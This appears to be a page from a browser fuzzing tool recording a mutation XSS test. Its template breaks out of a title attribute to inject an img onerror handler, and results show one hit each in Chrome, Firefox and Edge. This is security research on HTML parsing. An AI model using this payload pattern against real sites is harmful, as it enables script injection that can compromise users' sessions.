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Mutated XSS with img onerror

Chrome logo 1
Firefox logo 1
Edge logo 1

Test mutated XSS in onerror event for image tag

sqjor
Created bysqjor
Created Jul 30, 2024
Updated May 27, 2025

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CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml
$[data2] placeholderhtml
Template used:
<$[data1]><$[data2] title="</$[data1]><img/src/onerror=log('$[data1] $[data2]')>">

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 1 result
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Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 1 result
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 1 result
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